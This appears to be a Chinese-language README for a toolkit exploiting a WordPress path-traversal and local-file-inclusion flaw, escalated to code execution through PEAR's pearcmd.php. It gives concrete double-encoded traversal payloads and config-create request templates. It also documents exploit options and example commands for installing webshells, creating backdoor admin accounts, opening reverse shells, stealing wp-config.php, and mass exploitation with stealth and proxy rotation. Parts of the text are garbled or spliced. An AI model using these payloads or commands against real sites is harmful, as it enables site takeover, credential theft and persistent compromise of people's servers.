WordPress CVE-2026-87902 LFI 到 RCE 工具包,包含武器化利用链(PEAR RCE、webshell、创建管理员、窃取数据)以及非侵入式 SafeChecker 版本和风险审计器。

仅限道德用途 – 授权安全测试
本仓库仅为授权安全专业人员、蓝队和渗透测试人员提供工具。
未经授权访问计算机系统在CFAA(美国)、Computer Misuse Act(英国)、TCK 243/244(土耳其)及全球类似法律下均属违法。
CVE‑2026‑87902 是 WordPress Core(版本 4.7.0 至 7.1.1)中的一个严重未授权路径遍历和本地文件包含(LFI)漏洞,允许未授权攻击者通过 pagename 查询参数包含任意本地 .php 文件,并在特定服务器条件下通过链式利用 PEAR 的 pearcmd.php 文件升级为远程代码执行(RCE)。CVSS 评分:9.2(严重)。由 Robert Ressl 于 2026 年 7 月通过 WordPress 的 HackerOne 项目披露。于 2026 年 9 月 22 日在 7.1.2 中修复,并向后移植至 4.7。
该漏洞影响自 2016 年以来的每一个 WordPress 版本——十年间通过代码审查却未被发现的版本。根本原因是 CMS 中访问最频繁的代码路径之一中缺少一次验证调用。
未净化的模板解析 – wp-includes/template.php 中的 get_page_template() 根据 pagename 查询变量构建模板候选。同一函数中相邻的代码路径会应用 validate_file() 来阻止 ../ 序列,但 $pagename 分支没有调用它。pagename 中的任何遍历都会未经检查地通过。
双重编码遍历绕过 – WordPress 对 pagename 应用 sanitize_title_for_query(),将字面点(.)替换为连字符以防止遍历。但该函数操作的是已解码的输入,且不会递归解码。攻击者发送 %252e%252e%252f;Web 服务器将其解码一次为 %2e%2e%2f;净化器看不到字面点并将其放行;随后 get_page_template() 在函数内部再次调用 urldecode(),产生 。
page-* 目录,在 php.ini 中设置 register_argc_argv=Off,并在 WAF 层面阻止 pagename 参数中的双重编码遍历。| 工具 | 用途 | 目标用户 |
|---|---|---|
exploit.py | 完整武器化工具包,具有 LFI 检测、PEAR RCE 链、管理员用户创建、webshell 安装、反向 shell、批量扫描、隐蔽模式、代理轮换和完整攻击链。 | 红队 / 授权渗透测试人员 |
safecheck.py | 非侵入式漏洞检查器,可检测 WordPress 版本、验证暴露情况并评估风险,而不包含任何文件或执行任何载荷。生成 JSON 报告。 | 蓝队 / 安全审计人员 |
git clone https://github.com/tc4dy/CVE-2026-87902-Toolkit
cd CVE-2026-87902-Toolkit
pip install -r requirements.txt
requests
urllib3
exploit.py 参数safecheck.py 参数该漏洞利用使用以下 WordPress 端点和利用步骤:
# 双重编码遍历示例
pagename = page-templates/..%252f..%252f..%252f..%252fusr/local/lib/php/pearcmd
# PEAR config-create RCE 链
GET /?+config-create+/&page_id=2&pagename={encoded_pearcmd}&/{encoded_php}+/tmp/shell.php
# PEAR 包含触发
GET /?page_id=2&pagename={encoded_output_path}
本软件仅供教育目的和授权安全测试使用。
../主题目录前提条件 – 活动主题必须包含一个名称以 page- 开头的顶级目录(例如 page-templates/)。构造的文件名 page-{pagename}.php 随后通过遍历逃逸主题根目录。较旧的默认主题(Twenty Twelve、Twenty Fourteen)和流行的第三方主题(Neve、Hestia、Sydney)都附带此目录。继承自此类父主题的子主题也满足前提条件。
locate_template() 中的 LFI 汇聚点 – 候选路径被传递给 locate_template(),后者搜索主题目录。由于遍历解析到这些目录之外的文件,且该函数仅检查 file_exists(),任何可读的 .php 文件都会以完整 Web 服务器权限被包含。这使得 LFI 在满足主题前提条件的任何未修补站点上无条件成立——包括包含数据库凭据和认证盐的 wp-config.php。
PEAR pearcmd.php RCE 升级 – PEAR 随许多 PHP 安装一起提供。其 pearcmd.php 通常仅限 CLI,但当 register_argc_argv=On 时,PHP 会从 URL 查询字符串填充 $_SERVER['argv']。攻击者通过 LFI 包含 pearcmd.php,将 config-create 作为参数传递,并提供 PHP 代码及输出路径(/tmp/shell.php)。PEAR 将攻击者的代码写入磁盘;第二次包含执行它。
第二条利用路径 – 结合 name(首页别名)、page_id(文章页 ID)、preview=true 和 pagename 载荷的请求会将 WP_Query 转入其 post_name 分支,该分支从不通过 sanitize_title_for_query() 重写 pagename。这允许遍历中出现字面点。需要没有 single.php 的主题。
服务器配置要求 – RCE 取决于实际部署中常见的两个条件:pearcmd.php 存在/可读(在共享主机、cPanel、官方 PHP Docker 镜像中常见),以及 register_argc_argv=On(PHP 8.5 以下的默认值)。PHP 8.5 将默认值改为 Off。在没有 PEAR 的现代 PHP 8.5+ 服务器上,利用止步于 LFI。
补丁 – WordPress 7.1.2 增加了两层防御:(a) pagename 分支中缺失的 validate_file() 调用,以及 (b) 由 locate_template() 为每个解析的模板调用的新函数 _wp_is_template_path_allowed()。该函数拒绝包含 .. 的路径,然后通过 realpath() 解析真实路径并验证其位于允许的主题目录之一内。这种纵深防御关闭了汇聚点,而不仅仅是一条通往它的路径。
野外的活跃利用 – 补丁发布后 5 小时(2026 年 9 月 22 日 17:44 UTC)首次观察到恶意请求。次日流量增加了十倍。观察到三个阶段:config-show 侦察 → 核心文件检测 → config-create 武器化。载荷文件名包括 wp-pear-rce-flag.php、poc87902.php、luci_*.php、zeta_*.php,写入 /tmp 和 /var/tmp。攻击 IP:169.58.48.193、169.58.48.195、2001:df1:e8c0::106b。
影响 – 以 Web 服务器权限执行代码。完全接管站点、窃取 wp-config.php 凭据、数据外泄、安装 webshell、创建管理员用户、反向 shell、通过修改插件/主题进行供应链攻击,以及横向移动到连接的服务。CVSS 9.2 评分反映了网络可利用、无需认证、高机密性/完整性/可用性影响。高攻击复杂度反映了主题和服务器前提条件,但在典型的共享主机上这些条件经常被满足。
| 功能 | exploit.py | safecheck.py |
|---|
| 漏洞检测 | ✅ | ✅ |
| 版本检测 | ✅ | ✅ |
主题 page-* 目录检查 | ✅ | ✅ |
PEAR pearcmd.php 可达性 | ✅ | ✅ |
register_argc_argv 检查 | ✅ | ✅ |
| WAF 行为探测 | ❌ | ✅ |
| 双重编码 LFI 探测 | ✅ | ❌ |
PEAR config-create RCE | ✅ | ❌ |
| 管理员用户创建 | ✅ | ❌ |
| Webshell 安装 | ✅ | ❌ |
| 反向 shell | ✅ | ❌ |
窃取 wp-config.php | ✅ | ❌ |
| 完整攻击链 | ✅ | ❌ |
| 批量扫描(多线程) | ✅ | ✅ |
| 代理支持 | ✅ | ✅ |
| 代理轮换 | ✅ | ❌ |
| User‑Agent 轮换(OPSEC) | ✅ | ❌ |
| 抖动(OPSEC) | ✅ | ❌ |
| 速率限制器 | ✅ | ❌ |
| 非侵入式(安全)模式 | ❌ | ✅ |
| 风险评估报告 | ✅ | ✅ |
| 缓解建议 | ❌ | ✅ |
| JSON 报告 | ✅ | ✅ |
| CSV 报告 | ✅ | ✅ |
| HTML 报告 | ✅ | ✅ |
| SQLite 输出 | ✅ | ✅ |
| 自定义 User‑Agent | ✅ | ✅ |
| SSL 验证控制 | ✅ | ✅ |
| 场景 | 推荐工具 |
|---|
| 蓝队 – 验证您的 WordPress 是否存在漏洞 | safecheck.py |
| 安全审计 – 非侵入式漏洞评估 | safecheck.py |
| 红队 – 带完整利用的授权渗透测试 | exploit.py |
| 漏洞赏金 – 负责任披露测试 | safecheck.py |
| 批量扫描 – 检查多个目标的漏洞 | exploit.py(仅检测) |
| 事件响应 – 检查系统是否已被入侵 | safecheck.py |
| 参数 | 描述 |
|---|
-u, --url | 单个目标 WordPress URL(例如 http://wordpress.example.com) |
-f, --file | 包含目标列表的文件(每行一个),用于批量扫描 |
--pipe | 从 stdin 读取目标 |
--exploit | 检测后执行利用 |
--create-admin | 创建持久管理员用户(格式:USER:PASS) |
--webshell | 通过 RCE 安装 webshell |
--reverse-shell | 触发反向 shell(格式:LHOST:LPORT) |
--loot | 窃取 wp-config.php 及其他文件 |
--threads | 多目标线程数(默认:8) |
--timeout | 请求超时(默认:15s) |
--retry | 最大重试次数(默认:3) |
--proxy | HTTP/HTTPS 代理(例如 http://127.0.0.1:8080) |
--proxy-list | 用于轮换的代理文件(每行一个) |
--proxy-rotate | 代理轮换策略(round-robin、random、sticky) |
--jitter | 请求之间的随机抖动 |
--jitter-range | 抖动最小、最大秒数(默认:0.1,2.0) |
--delay | 请求之间的固定延迟 |
--stealth | 启用隐蔽模式(UA 轮换 + 抖动) |
--insecure | 禁用 TLS 验证 |
--user-agent | 自定义 User-Agent |
--max-body | 最大响应正文大小 |
--concurrent-per-host | 每主机最大并发请求数 |
--rate-limit | 每秒最大请求数 |
--exclude | 要排除的主机,逗号分隔 |
-o, --output | 将报告保存到文件(.json、.csv、.html、.jsonl) |
--db | SQLite 数据库文件 |
-v, --verbose | 详细输出 |
-q, --quiet | 静默模式 |
--no-banner | 抑制横幅 |
| 参数 | 描述 |
|---|
-u, --url | 单个目标 WordPress URL(例如 http://wordpress.example.com) |
-f, --file | 包含目标列表的文件(每行一个) |
--pipe | 从 stdin 读取目标 |
-t, --threads | 多目标线程数(默认:8) |
--timeout | 请求超时(默认:15s) |
--retry | 最大重试次数(默认:3) |
--proxy | HTTP/HTTPS 代理 |
--jitter | 请求之间的随机抖动 |
--jitter-range | 抖动最小、最大秒数(默认:0.1,2.0) |
--delay | 请求之间的固定延迟 |
--insecure | 禁用 TLS 验证 |
--user-agent | 自定义 User-Agent |
--max-body | 最大响应正文大小 |
--concurrent-per-host | 每主机最大并发请求数 |
--exclude | 要排除的主机,逗号分隔 |
-o, --output | 将 JSON 报告保存到文件(.json、.csv、.html、.jsonl) |
--db | SQLite 数据库文件 |
-v, --verbose | 详细输出 |
-q, --quiet | 静默模式 |
--no-banner | 抑制横幅 |
| # | 场景 | 命令 |
|---|
| 1 | 快速漏洞检查 | python safecheck.py -u http://wordpress.example.com |
| 2 | 带报告的详细扫描 | python safecheck.py -u http://wordpress.example.com -o report.json -v |
| 3 | 从文件批量审计 | python safecheck.py -f targets.txt -t 10 -o audit.json |
| 4 | 仅检测利用 | python exploit.py -u http://wordpress.example.com |
| 5 | 窃取 wp-config.php | python exploit.py -u http://wordpress.example.com --exploit --loot |
| 6 | 带 webshell 的完整攻击 | python exploit.py -u http://wordpress.example.com --exploit --webshell |
| 7 | 创建持久管理员用户 | python exploit.py -u http://wordpress.example.com --exploit --create-admin evil:P@ssw0rd1 |
| 8 | 反向 shell | python exploit.py -u http://wordpress.example.com --exploit --reverse-shell 10.0.0.1:4444 |
| 9 | 完整攻击链 | python exploit.py -u http://wordpress.example.com --exploit --loot --webshell --create-admin evil:P@ssw0rd1 |
| 10 | 带隐蔽模式的批量利用 | python exploit.py -f targets.txt -t 20 --exploit --stealth --jitter -o results.json |
| 11 | 代理轮换 | python exploit.py -f targets.txt --proxy-list proxies.txt --proxy-rotate random --exploit |
| 步骤 | 方法 | 端点 | 描述 |
|---|
| 1. 指纹识别 | GET | / | 通过 wp-content、wp-includes、wp-json 检测 WordPress |
| 2. 版本 | GET | /feed/ | 通过 <generator> 元数据提取版本 |
| 3. 页面 ID | GET | /wp-json/wp/v2/pages | 发现有效的 page_id |
| 4. 主题目录 | GET | /wp-content/themes/{theme}/page-templates/ | 确认 page-* 前提条件 |
| 5. LFI 探测 | GET | /?page_id={id}&pagename={payload} | 双重编码遍历以包含本地文件 |
| 6. PEAR 包含 | GET | /?page_id={id}&pagename={pearcmd} | 包含 pearcmd.php |
| 7. PEAR RCE | GET | /?+config-create+/&page_id={id}&pagename={pearcmd}&/{payload}+{outfile} | 通过 PEAR 写入 PHP 文件 |
| 8. 执行 | GET | /?page_id={id}&pagename={outfile} | 包含写入的文件 → RCE |
| 9. 持久化 | GET | (通过 RCE) | 创建管理员用户 / webshell |
| 10. 窃取 | GET | /?page_id={id}&pagename={wp-config} | 通过 LFI 读取 wp-config.php |